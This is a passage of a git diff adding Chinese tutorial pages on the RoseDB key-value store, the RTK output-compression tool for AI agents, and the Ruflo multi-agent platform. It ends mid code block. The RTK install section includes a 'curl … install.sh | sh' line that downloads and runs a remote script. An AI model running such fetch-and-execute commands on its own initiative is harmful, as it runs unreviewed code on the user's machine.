+- 启动时从磁盘日志文件重建，关闭时也持久化到磁盘，避免下次启动重新扫描
+
+**WAL 日志文件**
+
+- 每个文件是一个独立的"段（segment）"，按顺序编号（000001.log、000002.log …）
+- 文件内部格式：`[CRC(4字节)] [Payload长度(2字节)] [类型(1字节)] [数据]`
+- 多个记录打包成一个 block（默认 32KB），减少磁盘 IO 次数
+
+**活跃文件 vs 只读文件**
+
+- RoseDB 同时只有一个"活跃文件"用于写入
+- 当活跃文件达到设定大小（默认 64MB），就关闭它，变成只读文件，然后打开一个新的活跃文件
+- 合并时，只读文件中的旧数据会被清理
+
+## 4. 代码示例
+
+### 示例 1：基本操作
+
+这是一个最基础的 RoseDB 使用场景：打开数据库、写入、读取、删除。
+
+```go
+package main
+
+import (
+	"fmt"
+	"log"
+
+	"github.com/rosedblabs/rosedb/v2"
+)
+
+func main() {
+	// 1. 配置选项：指定数据存放的目录
+	options := rosedb.DefaultOptions
+	options.DirPath = "/tmp/rosedb_test"
+
+	// 2. 打开（或创建）数据库
+	// 如果目录里已经有数据，会自动重建内存索引
+	db, err := rosedb.Open(options)
+	if err != nil {
+		log.Fatal(err)
+	}
+	defer db.Close()
+
+	// 3. 写入一个键值对
+	// Put 的参数是 []byte，所以字符串要转换
+	err = db.Put([]byte("name"), []byte("rosedb"))
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	// 4. 读取刚才写入的值
+	val, err := db.Get([]byte("name"))
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Println("读到的值:", string(val)) // 输出: 读到的值: rosedb
+
+	// 5. 删除这个键
+	err = db.Delete([]byte("name"))
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	// 6. 再次读取，会发现 key 不存在了
+	val, err = db.Get([]byte("name"))
+	if err != nil {
+		fmt.Println("key 已删除:", err)
+	}
+}
+```
+
+**运行流程拆解**：
+
+1. `Open` 时，RoseDB 会扫描 `/tmp/rosedb_test` 下的所有 `.log` 文件
+2. 从每个文件中重建内存索引（key -> 文件偏移位置）
+3. `Put` 操作把数据追加到当前活跃 WAL 文件末尾，同时更新内存索引
+4. `Get` 先从内存索引找到位置，再从磁盘读取
+5. `Delete` 不是真的删文件，而是写入一个"删除标记"，并更新索引指向这个删除标记
+
+### 示例 2：批处理 + 过期时间
+
+这个例子展示了 RoseDB 的 **批处理原子性** 和 **key 过期** 功能。
+
+```go
+package main
+
+import (
+	"fmt"
+	"log"
+	"time"
+
+	"github.com/rosedblabs/rosedb/v2"
+)
+
+func main() {
+	options := rosedb.DefaultOptions
+	options.DirPath = "/tmp/rosedb_batch"
+
+	db, err := rosedb.Open(options)
+	if err != nil {
+		log.Fatal(err)
+	}
+	defer db.Close()
+
+	// 创建批处理对象
+	batch := db.NewBatch(rosedb.DefaultBatchOptions)
+
+	// 在批处理里写入多个键值对
+	// 这些写入在 Commit 之前只存在于内存中，没有落盘
+	batch.Put([]byte("user:1:name"), []byte("alice"))
+	batch.Put([]byte("user:1:email"), []byte("alice@example.com"))
+	batch.Put([]byte("user:2:name"), []byte("bob"))
+	batch.Put([]byte("user:2:email"), []byte("bob@example.com"))
+
+	// 写入一个带过期时间的 key
+	// 这个 key 会在 5 秒后被自动标记为删除
+	expiredVal := &rosedb.Item{
+		Value:    []byte("temp-data"),
+		ExpireAt: time.Now().Add(5 * time.Second),
+	}
+	_ = batch.PutWithExpiry([]byte("session:token"), expiredVal)
+
+	// 在批处理里做一个删除
+	batch.Delete([]byte("user:2:email"))
+
+	// 提交批处理：要么全部成功落盘，要么全部失败回滚
+	err = batch.Commit()
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	// 验证写入结果
+	name, _ := db.Get([]byte("user:1:name"))
+	fmt.Println("用户1名字:", string(name)) // alice
+
+	email, err := db.Get([]byte("user:2:email"))
+	if err != nil {
+		fmt.Println("用户2邮箱已被删除") // 确认删除生效
+	}
+
+	// 等待 5 秒后，过期 key 会被自动清理
+	fmt.Println("等待 5 秒后过期 key 将被自动清理...")
+	time.Sleep(5 * time.Second)
+
+	// 合并过程会自动清理过期的和已删除的记录
+	// 不需要手动触发，RoseDB 会在后台定期检查
+}
+```
+
+**关键点**：
+
+- 批处理中的写入 **先缓存在内存**，`Commit` 时才一次性写入 WAL 文件，且只占一次磁盘 seek
+- 如果 `Commit` 中途失败，所有写入全部回滚，保证了 **原子性（Atomicity）**
+- `PutWithExpiry` 为 key 设置过期时间，过期后会被自动清理（合并时）
+- 即使不手动清理，过期 key 也会在磁盘合并时被移除
+
+### 示例 3：迭代器扫描
+
+RoseDB 支持从任意 key 开始的正向和反向扫描：
+
+```go
+package main
+
+import (
+	"fmt"
+	"log"
+
+	"github.com/rosedblabs/rosedb/v2"
+)
+
+func main() {
+	options := rosedb.DefaultOptions
+	options.DirPath = "/tmp/rosedb_iter"
+
+	db, err := rosedb.Open(options)
+	if err != nil {
+		log.Fatal(err)
+	}
+	defer db.Close()
+
+	// 先写入一些数据
+	db.Put([]byte("apple"), []byte("苹果"))
+	db.Put([]byte("banana"), []byte("香蕉"))
+	db.Put([]byte("cherry"), []byte("樱桃"))
+	db.Put([]byte("date"), []byte("枣"))
+
+	// 创建一个正向迭代器，从 "banana" 开始扫描
+	iter := db.NewIterator(false) // false = 正向
+	iter.Seek([]byte("banana"))
+
+	for ; iter.Valid(); iter.Next() {
+		fmt.Printf("%s -> %s\n", string(iter.Key()), string(iter.Value()))
+	}
+	// 输出:
+	// banana -> 香蕉
+	// cherry -> 樱桃
+	// date -> 枣
+
+	// 创建一个反向迭代器，从 "cherry" 开始回扫
+	iter2 := db.NewIterator(true) // true = 反向
+	iter2.Seek([]byte("cherry"))
+
+	for ; iter2.Valid(); iter2.Prev() {
+		fmt.Printf("%s -> %s\n", string(iter2.Key()), string(iter2.Value()))
+	}
+	// 输出:
+	// cherry -> 樱桃
+	// banana -> 香蕉
+	// apple -> 苹果
+
+	iter.Close()
+	iter2.Close()
+}
+```
+
+## 5. 和 Redis、RocksDB 的对比
+
+| 特性 | RoseDB (Bitcask) | Redis | RocksDB (LSM) |
+|------|------------------|-------|---------------|
+| 存储引擎 | 只追加 WAL 文件 | 内存为主+RDB/AOF | LSM 树（多层 SSTable） |
+| 读写延迟 | 写入极低，读取稳定 | 极低（纯内存） | 写入低，读取随层级变化 |
+| 数据量 | key 必须全在内存 | key + value 在内存 | 可以远超内存 |
+| 适用场景 | 嵌入式日志/事件存储 | 缓存/消息队列 | 通用嵌入式 KV |
+| 崩溃恢复 | 扫描日志，很快 | RDB 快照 + AOF 重写 | Compaction + WAL |
+
+简单说：
+
+- **比 Redis 省内存**，因为数据都在磁盘上（Redis 全放内存）
+- **比 RocksDB 简单**，没有多级 LSM 树的 compaction 开销
+- **和 Redis 互补**：Redis 做热缓存，RoseDB 做持久化日志/事件存储
+
+## 6. 内部工作流程
+
+### 写入流程
+
+```
+你的程序调用 Put(key, value)
+    |
+    v
+写入当前活跃 WAL 文件末尾（追加）
+    |
+    v
+更新内存索引：key -> {fileId, offset, size, expireAt}
+    |
+    v
+如果 WAL 文件超过阈值（如 64MB）
+    -> 关闭当前文件，标记为只读
+    -> 打开新文件作为活跃文件
+```
+
+### 读取流程
+
+```
+你的程序调用 Get(key)
+    |
+    v
+在内存索引中查找 key
+    |
+    v
+找到后，根据索引里的偏移量直接去磁盘读取
+    |
+    v
+返回数据（通常 OS 缓存命中，不用真的读磁盘）
+```
+
+### 合并（Compaction）流程
+
+```
+后台检测到旧文件中的大量过期/被覆盖的 key
+    |
+    v
+扫描所有只读文件，找出每个 key 的最新版本
+    |
+    v
+把有效数据写入新文件
+    |
+    v
+更新内存索引指向新文件
+    |
+    v
+删除旧文件
+```
+
+## 7. 总结
+
+RoseDB 的核心设计哲学可以用一句话概括：**用空间换时间，用简单换可靠**。
+
+它选择了一条相对"激进"的路径——把所有 key 放在内存里，数据只往磁盘追加写。这带来了极致的写入性能和稳定的读取延迟，代价是内存占用。
+
+对于一个零基础的学习者，我建议记住三个关键词：
+
+1. **追加写**：数据从不原地修改，永远往末尾追加
+2. **内存索引**：key 的目录全在内存里，读取只需一次查找
+3. **日志合并**：定期清理旧数据，保持磁盘整洁
+
+理解这三个词，就理解了 RoseDB 的整个架构。
diff --git a/src/content/docs/projects/rtk.md b/src/content/docs/projects/rtk.md
new file mode 100644
index 000000000..87ac8b555
--- /dev/null
+++ b/src/content/docs/projects/rtk.md
@@ -0,0 +1,178 @@
+---
+title: RTK — Agent 命令输出压缩
+来源: https://github.com/rtk-ai/rtk
+日期: 2026-06-13
+分类: 其他
+子分类: ai-agent-infra
+provenance: pipeline-v3
+---
+
+## 是什么
+
+RTK（Rust Token Killer）是一个 CLI 代理程序，它在你的 Shell 和 AI Agent（比如 Claude Code、Copilot、Cursor）之间充当一个"翻译官"——拦截你执行的命令，把输出结果压缩之后再交给 Agent 看。
+
+日常类比：你让一个助手去厨房清点食材，助手回来报告时说了一大堆废话："冰箱里有鸡蛋、牛奶、黄油、番茄酱、芥末酱、沙拉酱、番茄、洋葱、大蒜、青椒、红椒、胡萝卜、西兰花……" RTK 就是站在助手门口的第二个人，他把报告改成："冰箱：蛋、奶、黄油、番茄×3、洋葱、蒜、青椒、红椒、胡萝卜、西兰花"——信息一样，但省了 80% 的话。
+
+## 核心概念
+
+### 1. 命令拦截与重写
+
+RTK 最核心的能力是自动改写命令。安装后，你在终端里敲 `git status`，RTK 会在后台把它变成 `rtk git status` 再执行，Agent 收到的就是压缩后的输出。你完全不需要改变自己的使用习惯。
+
+```bash
+# 你照常输入
+git status
+
+# RTK 在背后改写为
+rtk git status
+
+# Agent 收到的是压缩版，而不是原始几百行的 git 输出
+```
+
+### 2. 四种压缩策略
+
+RTK 对不同类型的命令使用不同的压缩方法：
+
+- **智能过滤**：去掉注释、空白、样板代码等噪音
+- **分组聚合**：把相似的项目合并显示，比如同目录下的文件
+- **截断冗余**：保留关键上下文，砍掉重复部分
+- **去重计数**：连续重复的日志行合并为一条加计数
+
+### 3. 命令分类处理器
+
+RTK 内置了对 100+ 种命令的支持，每种命令都有专门的处理器。比如 `git status` 只输出变更摘要，`cargo test` 只显示失败的测试，`docker ps` 用紧凑格式列出容器。
+
+## 为什么重要
+
+AI 编程 Agent 的上下文窗口是按 token 计费的。一个普通的 `git status` 可能消耗 3000 tokens，`cargo test` 失败时能到 25000 tokens。RTK 能在不丢失关键信息的前提下，把这些数字压到原来的 10%-40%。
+
+根据官方数据，一个 30 分钟的 Claude Code 会话中，RTK 平均节省约 80% 的 token 消耗：
+
+| 操作 | 标准输出 | RTK 输出 | 节省 |
+|------|---------|---------|------|
+| `ls` / `tree` | 2,000 tokens | 400 tokens | -80% |
+| `cat` / `read` | 40,000 tokens | 12,000 tokens | -70% |
+| `cargo test` | 25,000 tokens | 2,500 tokens | -90% |
+| `git push` | 1,600 tokens | 120 tokens | -92% |
+
+## 怎么用
+
+### 安装
+
+```bash
+# macOS / Linux 推荐方式
+brew install rtk
+
+# 或者一键安装
+curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh | sh
+```
+
+### 初始化（接入 Claude Code）
+
+```bash
+# 安装 hook + 配置文件
+rtk init -g
+
+# 重启 Claude Code，之后所有 Bash 命令自动经过 RTK 压缩
+```
+
+### 实际效果对比
+
+#### 示例 1：git push 的输出压缩
+
+```bash
+# 没有 RTK 时，git push 输出 15 行、约 200 tokens
+Enumerating objects: 5, done.
+Counting objects: 100% (5/5), done.
+Delta compression using up to 8 threads
+Compressing objects: 100% (3/3), done.
+Writing objects: 100% (3/3), 342 bytes | 342.00 KiB/s, done.
+Total 3 (delta 2), reused 0 (delta 0), pack-reused 0
+remote: Resolving deltas: 100% (2/2), completed with 2 local objects.
+To github.com:user/repo.git
+   abc1234..def5678  main -> main
+
+# 有 RTK 后，同样操作只输出 1 行、约 10 tokens
+ok main
+```
+
+#### 示例 2：cargo test 失败时的输出压缩
+
+```bash
+# 没有 RTK 时，测试失败输出 200+ 行
+running 15 tests
+test utils::test_parse ... ok
+test utils::test_format ... ok
+test utils::test_validate ... ok
+...
+test tests::test_edge_case ... FAILED
+test tests::test_overflow ... FAILED
+
+failures:
+
+---- tests::test_edge_case stdout ----
+thread 'tests::test_edge_case' panicked at 'assertion failed: `(left == right)`
+  left: `5`,
+ right: `3`', src/tests.rs:42:9
+
+---- tests::test_overflow stdout ----
+thread 'tests::test_overflow' panicked at 'called `Result::unwrap()` on an `Err` value: Overflow', src/utils.rs:18:5
+
+failures:
+    tests::test_edge_case
+    tests::test_overflow
+
+test result: FAILED. 13 passed; 2 failed; 0 ignored; 0 measured
+
+# 有 RTK 后，同样的失败只输出约 20 行
+FAILED: 2/15 tests
+  test_edge_case: assertion failed
+    left: 5, right: 3  at src/tests.rs:42
+  test_overflow: panic at utils.rs:18
+[full output: ~/.local/share/rtk/tee/1707753600_cargo_test.log]
+```
+
+注意最后那一行：如果测试失败了，RTK 会自动保存完整的原始输出到一个临时文件，这样 Agent 需要查看完整错误时可以直接读取，不需要重新运行命令。
+
+### 手动调用
+
+如果某些命令没有被自动重写（比如 Claude Code 内置的 Read、Grep 工具不走 Shell hook），可以手动加上 `rtk` 前缀：
+
+```bash
+rtk ls .
+rtk read src/main.rs
+rtk grep "panic" .
+rtk find "*.rs" .
+rtk test cargo test
+rtk err npm test   # 只看错误行
+```
+
+### 查看节省统计
+
+```bash
+rtk gain             # 总览节省数据
+rtk gain --graph     # 最近 30 天的 ASCII 图表
+rtk gain --history   # 最近的命令历史
+```
+
+## 支持的 AI 工具
+
+RTK 支持 14 种主流 AI 编程工具，每种有不同的集成方式：
+
+- **Claude Code**：`rtk init -g`（Shell hook 自动改写）
+- **Cursor**：`rtk init -g --agent cursor`（preToolUse hook）
+- **Gemini CLI**：`rtk init -g --gemini`
+- **Codex (OpenAI)**：`rtk init -g --codex`
+- **OpenCode**：`rtk init -g --opencode`
+- **Cline / Roo Code**：`rtk init --agent cline`
+
+## 注意事项
+
+- RTK 只拦截 Bash 工具调用。Claude Code 的内置工具（Read、Grep、Glob）不走 Shell hook，不会自动改写
+- 命令失败时，RTK 默认保存完整输出到 `~/.local/share/rtk/tee/`，不会丢数据
+- 隐私方面，遥测功能默认关闭，不需要手动关闭
+- Windows 原生环境下 hook 不可用，但可以手动加 `rtk` 前缀使用
+
+## 一句话总结
+
+RTK 在终端和 AI Agent 之间放了一个"压缩器"，你照常敲命令，Agent 少付 token——就像快递里的泡沫填充物，把不该占空间的东西挤掉，留下真正重要的东西。
diff --git a/src/content/docs/projects/ruflo-claude.md b/src/content/docs/projects/ruflo-claude.md
new file mode 100644
index 000000000..7ca59b075
--- /dev/null
+++ b/src/content/docs/projects/ruflo-claude.md
@@ -0,0 +1,300 @@
+---
+title: "Ruflo — 让 Claude Code 拥有神经系统：多智能体编排平台"
+来源: https://github.com/ruvnet/ruflo
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Ruflo — 让 Claude Code 拥有神经系统
+
+## 一、从日常类比开始
+
+想象你有一支装修队。
+
+只雇一个工人（Claude Code 单独使用），他能帮你刷墙、铺地板、装灯具。但他一个人做所有事，做完了还要告诉你"我干完了，接下来做什么"——你既是工人又是项目经理。
+
+Ruflo 做了什么？它给这个工人装上了神经系统：
+
+- 它不是一个工人，而是一群各有专长的工人——有人专门刷墙，有人专门铺地板，有人专门质检
+- 他们之间能自动沟通："我把墙刷好了，地板师傅可以进场了"
+- 他们还记得之前的经验："上次这个颜色没刷匀，这次注意"
+- 如果某个工人偷懒了，其他人会发现并上报
+
+Ruflo 的本质：**给 Claude Code 加了一个多智能体协作层，让 AI 不再单打独斗，而是组成团队一起干活。**
+
+---
+
+## 二、Ruflo 是什么
+
+Ruflo（原名 Claude Flow）是一个由 rUv 开发的开源多智能体编排平台，运行在 Claude Code 之上。
+
+它的口号是："Multi-agent AI harness for Claude Code and Codex."
+
+一句话解释：你告诉 Ruflo 要做什么，它自动拆分任务、分配给不同的 AI 智能体，协调它们一起完成，还能从每次协作中学习改进。
+
+### 核心数据
+
+| 指标 | 数值 |
+|------|------|
+| 内置智能体 | 100+ 个（编码、测试、安全、文档、架构等） |
+| 插件数量 | 33 个官方插件 + 21 个 npm 插件 |
+| 支持的 LLM | Claude、GPT、Gemini、Cohere、Ollama（5 家） |
+| 通信协议 | MCP（Model Context Protocol） |
+| 许可 | MIT |
+| 底层引擎 | Rust 基于 Cognitum.One 架构 |
+
+---
+
+## 三、核心概念
+
+### 3.1 智能体（Agents）—— 团队的每个成员
+
+Ruflo 里有 100 多个专门化的 AI 智能体，每个都有自己的角色。比如：
+
+- `coder` 智能体：专门写代码
+- `tester` 智能体：专门找 bug
+- `reviewer` 智能体：专门审查代码质量
+- `architect` 智能体：专门做架构设计
+
+类比：一个足球队里有前锋、后卫、守门员，各司其职。
+
+### 3.2 蜂群协作（Swarm Coordination）—— 团队的协作方式
+
+智能体不会各自为战，它们通过蜂群模式协作。有三种组织方式：
+
+- **层级模式（Queen-led）**：有一个"女王智能体"负责分配任务，像公司里的项目经理
+- **网状模式（Mesh）**：所有智能体对等通信，像松散的协作团队
+- **自适应模式（Adaptive）**：根据任务自动选择最佳协作方式，最灵活
+
+类比：层级模式像军队，网状模式像开源社区，自适应模式像急诊室（根据病情自动决定谁负责什么）。
+
+### 3.3 记忆系统（Memory & Learning）—— 团队的经验库
+
+Ruflo 的记忆系统比 Claude Code 自带的会话记忆强大得多：
+
+- **AgentDB**：向量数据库，用来存储智能体的经验
+- **HNSW 索引**：让记忆检索速度比暴力搜索快 1.9 到 4.7 倍
+- **SONA 神经网络**：智能体能从过去的成功经验中学习，越来越聪明
+- **ReasoningBank**：存储推理模式，遇到类似问题时自动调用
+
+类比：团队里有个共享笔记本，每次完成任务后把经验和教训记下来，下次遇到类似情况就翻笔记。
+
+### 3.4 联邦通信（Federation）—— 跨团队的秘密通话
+
+不同机器、不同组织上的 Ruflo 实例可以安全地让智能体互相通信。它用零信任模型：
+
+- 每次通信前自动脱敏（去掉邮箱、密钥等个人信息）
+- 用 mTLS + ed25519 验证身份，不需要共享 API 密钥
+- 智能体的可信度会持续评分——表现好的获得更多权限，表现差的自动降级
+
+类比：两个公司之间需要交换文件，但不直接共享内部资料。先自动去掉敏感信息，验证对方身份，然后安全传输。
+
+### 3.5 目标规划器（Goal Planner / GOAP）—— 从意图到行动的翻译器
+
+你只需要用自然语言描述目标，Ruflo 的 GOAP A* 规划器会自动：
+
+- 提取成功标准
+- 找出隐含的前提条件
+- 规划出一条最短的行动路径
+- 当某步失败了，自动重新规划而不是从头重来
+
+类比：你说"我要做一顿晚餐"，规划器自动拆解成"买食材 -> 洗菜 -> 切菜 -> 炒菜 -> 摆盘"，如果"买食材"发现没盐了，自动插入"先买盐"的步骤。
+
+### 3.6 插件系统（Plugin Marketplace）—— 团队的扩展技能包
+
+Ruflo 通过插件体系扩展能力。33 个官方插件覆盖了：
+
+- **核心编排**：swarm、autopilot、后台任务调度
+- **记忆与知识**：向量搜索、知识图谱
+- **智能与学习**：行为模式、本地 LLM 路由
+- **代码质量**：测试生成、浏览器自动化、Git diff 分析
+- **安全合规**：漏洞扫描、提示注入防护
+- **架构方法**：领域驱动设计、5 阶段开发法
+- **运维监控**：数据库迁移、结构化日志、成本追踪
+
+---
+
+## 四、安装与使用
+
+### 4.1 两种方式
+
+| | 方式 A：CLI 安装（推荐） | 方式 B：Claude Code 插件（轻量） |
+|---|---|---|
+| 安装命令 | `npx ruflo@latest init` | `/plugin install ruflo-core@ruflo` |
+| 给你的能力 | 全部：98 个智能体、60+ 命令、30 个技能、MCP 服务器、hook 系统 | 只有斜杠命令和几个智能体定义 |
+| 文件影响 | 在仓库里创建 `.claude/`、`.claude-flow/`、`CLAUDE.md` 等 | 零文件改动 |
+| 适合场景 | 生产使用，所有功能完整可用 | 想先试试，不承诺全面使用 |
+
+### 4.2 CLI 快速安装
+
+```bash
+# 交互式引导（推荐新手）
+npx ruflo@latest init wizard
+
+# 快速非交互式安装
+npx ruflo@latest init
+
+# 或者全局安装
+npm install -g ruflo@latest
+```
+
+安装完成后，Ruflo 会自动安装 hook 系统，后续你在 Claude Code 里说的话会自动被路由到合适的智能体。
+
+### 4.3 注册 MCP 服务器（完整使用必须）
+
+```bash
+claude mcp add ruflo -- npx ruflo@latest mcp start
+```
+
+这步让 Claude Code 能调用 Ruflo 提供的 MCP 工具（如 `memory_store`、`swarm_init`、`agent_spawn` 等）。
+
+---
+
+## 五、代码示例
+
+### 示例 1：联邦通信 — 让两个团队的智能体安全协作
+
+假设你（Team A）和另一个团队（Team B）需要共享一些分析结果，但不想泄露客户隐私数据。
+
+```bash
+# Team A：初始化联邦网络，生成密钥对
+npx ruflo@latest federation init
+
+# Team A：加入 Team B 的联邦端点
+npx ruflo@latest federation join wss://team-b.example.com:8443
+
+# Team A：发送任务 — 个人信息会自动脱敏后再发出
+npx ruflo@latest federation send --to team-b \
+  --type task-request \
+  --message "Analyze transaction patterns for account anomalies"
+
+# 查看协作状态和可信度评分
+npx ruflo@latest federation status
+```
+
+这背后发生了什么：
+
+1. `federation init` 生成 ed25519 密钥对，建立你的联邦身份
+2. `federation join` 用 mTLS 协议与 Team B 建立安全连接
+3. `federation send` 发送消息前，14 种检测管道自动扫描并移除邮箱、密钥等 PII 数据
+4. 消息经过加密通道传输，Team B 的智能体接收后验证你的身份
+5. `federation status` 查看对方的可信度评分（基于成功率、在线率、安全性等）
+
+### 示例 2：目标规划 — 用自然语言驱动智能体团队
+
+```bash
+# 你只用自然语言描述目标
+goal.ruv.io 输入:
+"Ship the auth refactor with tests and a PR"
+
+# 智能体收到后，GOAP 规划器自动分解：
+# 1. 分析当前认证代码结构
+# 2. 规划重构方案（architect 智能体）
+# 3. 执行代码修改（coder 智能体）
+# 4. 生成测试用例（tester 智能体）
+# 5. 运行测试验证（tester 智能体）
+# 6. 审查代码质量（reviewer 智能体）
+# 7. 创建 Git 提交
+# 8. 发起 Pull Request（devops 智能体）
+
+# 如果有某步失败（比如测试未通过），规划器会自动重新 A* 搜索
+# 找到最优的补救路径，而不是从头再来
+```
+
+goal.ruv.io 提供可视化界面，可以看到：
+
+- 目标分解成的行动树，每个节点显示进度
+- 每个智能体的角色、当前步骤、记忆命名空间、token 预算
+- 失败的分支高亮显示，支持一键回滚
+- 所有历史计划和学习到的经验存入 AgentDB，未来类似任务自动复用
+
+### 示例 3：安装和使用插件
+
+```bash
+# 方式 A：通过 Claude Code 斜杠命令安装单个插件
+/plugin marketplace add ruvnet/ruflo
+/plugin install ruflo-core@ruflo
+/plugin install ruflo-swarm@ruflo
+/plugin install ruflo-rag-memory@ruflo
+
+# 方式 B：通过 CLI 安装（全局）
+npx claude-flow@latest plugins install @claude-flow/plugin-agent-federation
+
+# 安装后，新的斜杠命令就可用了
+# 例如使用联邦功能：/federation init
+# 使用蜂群协调：/swarm init
+# 使用记忆存储：/memory_store
+```
+
+---
+
+## 六、Ruflo vs Claude Code 单独使用
+
+| 能力 | Claude Code 单独 | + Ruflo |
+|------|------------------|---------|
+| 智能体协作 | 孤立运行，无共享上下文 | 蜂群协作，共享记忆和共识 |
+| 协调方式 | 你手动编排 | 女王式层级（Raft、拜占庭、Gossip） |
+| 记忆 | 仅会话级别 | HNSW 向量记忆，亚毫秒检索 |
+| 学习 | 行为固定 | SONA 自我学习，模式匹配 |
+| 任务路由 | 你决定交给谁 | 智能路由（89% 准确率） |
+| 后台任务 | 无 | 12 个自动触发的后台工作者 |
+| LLM 提供商 | 仅 Anthropic | 5 家提供商 + 自动故障转移 |
+| 安全 | 标准防护 | CVE 加固 + AIDefence |
+
+---
+
+## 七、架构概览
+
+数据流从上到下：
+
+```
+用户 --> Claude Code / CLI
+         |
+         v
+    编排层
+    (MCP 服务器, 路由器, 27 个 Hook)
+         |
+         v
+    蜂群协调
+    (女王模式, 拓扑结构, 共识协议)
+         |
+         v
+    100+ 专用智能体
+    (coder, tester, reviewer, architect, security...)
+         |
+         v
+    记忆与学习
+    (AgentDB, HNSW, SONA, ReasoningBank)
+         |
+         v
+    LLM 提供商
+    (Claude, GPT, Gemini, Cohere, Ollama)
+```
+
+简单说，你的每次对话或指令都会经过这个处理链：被 Hook 捕获 -> 智能路由 -> 蜂群协调 -> 分发给专门的智能体 -> 结果存入记忆系统 -> 通过选定的 LLM 生成回复。
+
+---
+
+## 八、学习总结
+
+Ruflo 解决的核心问题是：当 Claude Code 的能力已经很强时，怎么让它更强？
+
+答案是：**从单兵作战转向团队协作。**
+
+这个思路在 AI 领域被称为"多智能体系统"，是当前的研究热点。Ruflo 的独特之处在于：
+
+1. 不是从零构建，而是站在 Claude Code 的肩膀上做扩展
+2. 用插件体系保持了极低的入门门槛 — 先用斜杠命令试试，需要时再全面安装
+3. 记忆系统和学习能力让协作成果可以积累，不是每次对话都从零开始
+4. 联邦通信解决了跨组织协作的安全问题 — 这在企业场景非常实用
+
+对于零基础的初学者来说，理解 Ruflo 的关键就一句话：**它让 AI 从"一个人在战斗"变成"一群人在协作"。**
+
+下一步可以深入研究的方向：
+
+- `docs/USERGUIDE.md`：完整的命令和配置参考
+- `docs/STATUS.md`：了解当前哪些功能已可用
+- `goal.ruv.io/agents`：在线体验智能体协作的可视化面板
+- `flo.ruv.io`：无需安装的 Web UI 试用入口
diff --git a/src/content/docs/projects/ruflo.md b/src/content/docs/projects/ruflo.md
new file mode 100644
index 000000000..aaf915ee5
--- /dev/null
+++ b/src/content/docs/projects/ruflo.md
@@ -0,0 +1,231 @@
+---
+title: "Ruflo 零基础入门：让 AI 助手变成一支协作团队"
+来源: https://github.com/ruvnet/ruflo
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Ruflo 零基础入门：让 AI 助手变成一支协作团队
+
+## 一、从日常类比开始：AI 助手 vs. AI 团队
+
+想象一下：你请了一个程序员（Claude Code）帮你写代码。他一个人干所有活——写代码、找 bug、查文档、做安全审计。干得快，但干得多，而且他不会自己提醒自己"上次这个问题我是这么解决的"。
+
+Ruflo 做的事，相当于给这个程序员配了一个**秘书处**：
+
+- 一个**调度员**（Router）：根据你的任务，自动决定该叫哪个专家来帮忙
+- 一群**专家**（Agents）：有人专门写代码，有人专门写测试，有人专门审安全
+- 一本**工作日志**（AgentDB）：每次合作学到的经验都记下来，下次直接用
+- 一台**自动机器**（Background Workers）：你在吃饭的时候，它自动跑测试、扫描漏洞
+
+核心一句话：**Ruflo 不替代 Claude Code，它给 Claude Code 装上一套"神经系统"，让多个 AI 智能体能自动协作。**
+
+## 二、核心概念拆解
+
+### 2.1 什么是"智能体编排"（Agent Orchestration）
+
+编排这个词，你可以理解为"指挥交响乐团"。
+
+- 没有编排：只有一个乐手（Claude Code 单独运行），你亲自指挥每一个音符
+- 有了编排：100+ 个专业乐手（coder agent、tester agent、reviewer agent……），Ruflo 自动决定谁在什么时候演奏什么
+
+### 2.2 蜂巢式协调（Swarm Coordination）
+
+Ruflo 里的智能体不是散装的，它们组成"蜂群"。蜂群有三种组织方式：
+
+| 方式 | 类比 | 适合场景 |
+|------|------|----------|
+| 层级（Hierarchical） | 公司：CEO → 部门经理 → 员工 | 大项目，需要明确分工 |
+| 网状（Mesh） | 朋友互相聊天 | 小团队，灵活协作 |
+| 自适应（Adaptive） | 自适应交通灯 | 任务复杂，需要动态调整 |
+
+### 2.3 自我学习记忆（Self-Learning Memory）
+
+这是 Ruflo 最聪明的地方。它用了一个叫 **AgentDB** 的向量数据库，配合 **HNSW 索引算法**（一种超快的近似最近邻搜索技术），实现：
+
+- 记忆持久化：关掉终端再打开，之前的经验还在
+- 语义检索：你说"上次那个登录页的问题"，它能找到相关记录，不需要精确关键词
+- 性能指标：数据量 2 万条时比暴力搜索快约 1.9 倍，5 千条时快 3.2-4.7 倍
+
+### 2.4 联邦通信（Agent Federation）
+
+你的机器上的 Agent 和另一台机器上的 Agent 可以安全对话，就像两个公司的员工通过加密频道协作。隐私数据（邮箱、密钥）在发出前自动剥离，信任度通过行为评分动态调整。
+
+## 三、安装与两种使用路径
+
+Ruflo 提供了两条路，从"轻量试用"到"/full-featured 生产使用"：
+
+### 路径 A：Claude Code 插件（零文件侵入）
+
+只安装你想要的那个插件，你的工作区不会多出任何文件。适合先尝鲜。
+
+### 路径 B：CLI 全量安装（推荐生产用）
+
+一条命令装完所有东西，注册 MCP Server，安装 hooks 和守护进程，得到完整的 Ruflo 能力。
+
+```bash
+# 全平台通用（macOS / Linux / Windows PowerShell）
+npx ruflo@latest init wizard
+```
+
+MCP Server 注册方式：
+
+```bash
+claude mcp add ruflo -- npx ruflo@latest mcp start
+```
+
+## 四、核心代码示例
+
+### 示例 1：安装插件，启动蜂群协调
+
+这是最基础的操作——给你的 Claude Code 装一个"蜂群"插件，让它能协调多个 Agent 协作。
+
+```bash
+# 第一步：添加 Ruflo 插件市场
+/plugin marketplace add ruvnet/ruflo
+
+# 第二步：安装核心插件 + 蜂群协调插件
+/plugin install ruflo-core@ruflo
+/plugin install ruflo-swarm@ruflo
+
+# 第三步：安装记忆插件（让 Agent 记住上下文）
+/plugin install ruflo-rag-memory@ruflo
+```
+
+装完之后，你只需要像平常一样跟 Claude Code 对话。Ruflo 的 hooks 系统会在后台自动：
+
+1. 识别你的任务类型
+2. 把任务分发给合适的 Agent
+3. 协调多个 Agent 的输出
+4. 从记忆库中检索历史经验
+
+你不用手动调用任何 Ruflo 命令。
+
+### 示例 2：联邦通信——让两个团队的 Agent 安全协作
+
+假设你有两个团队（Team A 和 Team B），他们想共享"欺诈信号"但**不能共享客户数据**。Ruflo 的联邦功能能做到：
+
+```bash
+# Team A：初始化联邦并生成密钥对
